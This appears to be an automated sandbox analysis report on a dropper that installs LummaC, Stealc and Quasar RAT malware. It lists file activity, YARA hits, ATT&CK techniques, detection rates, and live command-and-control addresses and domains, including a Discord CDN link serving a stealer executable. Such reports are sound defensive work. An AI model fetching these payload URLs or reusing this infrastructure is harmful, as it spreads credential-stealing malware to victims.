Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Directory queried: number of queries: 1989

Source: Yara match	File source: 00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2812858974.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2887493322.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2817944704.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2867267001.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2885377922.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2812965388.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2818049602.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2936334365.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2884396777.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2869397263.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2885512486.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2868715784.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2936285084.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2928465642.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2868626348.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 4912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 1680, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 4912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 1680, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Quasar RAT

Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000820000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2278148881.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uhshdsh.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5064, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 8.2.98a31794c6.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.98a31794c6.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.98a31794c6.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2589589697.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2715238456.0000000005220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2549164946.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2755768193.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2409293967.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2410605365.000000000132E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2367784987.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 5796, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	31 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	21 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	212 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	121 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	22 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	121 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	59%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\SysHost.exe	100%	Avira	HEUR/AGEN.1308654
C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	100%	Avira	HEUR/AGEN.1308654
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe	100%	Avira	HEUR/AGEN.1308654
C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\SysHost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LummaC2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe	65%	ReversingLabs	ByteCode-MSIL.Trojan.Vigorf
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LummaC2[1].exe	47%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	47%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	65%	ReversingLabs	ByteCode-MSIL.Trojan.Vigorf
C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Roaming\SysHost.exe	65%	ReversingLabs	ByteCode-MSIL.Trojan.Vigorf

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
ipwho.is	0%	Virustotal	Browse
cdn.discordapp.com	0%	Virustotal	Browse
necklacedmny.store	11%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipwho.is	147.135.36.89	true	false	0%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.134.233	true	false	0%, Virustotal, Browse	unknown
necklacedmny.store	188.114.97.3	true	true	11%, Virustotal, Browse	unknown
b.strongest.network	150.241.90.56	true	true		unknown
presticitpo.store	unknown	unknown	true		unknown
thumbystriw.store	unknown	unknown	true		unknown
crisiwarny.store	unknown	unknown	true		unknown
fadehairucw.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
https://cdn.discordapp.com/attachments/1286706039475015741/1300518838215114933/LummaC2.exe?ex=6721220d&is=671fd08d&hm=31bca25a6562063808f9baa4d06ddb104a4792384ef240b65fa3792577e0284b&	false	unknown
b.strongest.network	true	unknown
goalyfeastz.site	true	unknown
seallysl.site	true	unknown
https://ipwho.is/	false	unknown
dilemmadu.site	true	unknown
computeryrati.site	true	unknown
contemteny.site	true	unknown
opposezmny.site	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.phpD;.VBS;.VBE;.JS;.JSE;.W1	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpLOCALAPPDATA=C:	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpB7	98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpB:	98a31794c6.exe, 00000008.00000002.2410605365.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/RqW	69de3a997f.exe, 0000000D.00000003.2650751149.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.2061	98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpV.	axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microsoft	69de3a997f.exe, 0000000D.00000003.2929466250.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2930232763.0000000000C67000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000002.2948124698.0000000000C68000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.php#	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ipwho.isd	InstallUtil.exe, 00000007.00000002.4532503032.0000000002B7E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	69de3a997f.exe, 00000009.00000003.2613870413.0000000005871000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpes	axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	98a31794c6.exe, 0000000C.00000002.2590839479.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206L	98a31794c6.exe, 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php..	axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiAv	69de3a997f.exe, 00000010.00000003.2887493322.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2885377922.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884396777.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2885512486.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpnuN.:	axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpJ	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpTMP=C:	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php6.	axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpC	axplong.exe, 00000002.00000002.4522273663.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpnuz/	axplong.exe, 00000002.00000002.4529848799.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipwho.is	InstallUtil.exe, 00000007.00000002.4532503032.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php19001	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/api36	69de3a997f.exe, 00000009.00000003.2986388312.0000000001095000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3006352587.0000000001095000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpnu	axplong.exe, 00000002.00000002.4522273663.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/ssL	69de3a997f.exe, 00000010.00000003.2936334365.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2936285084.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2928465642.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	true		unknown
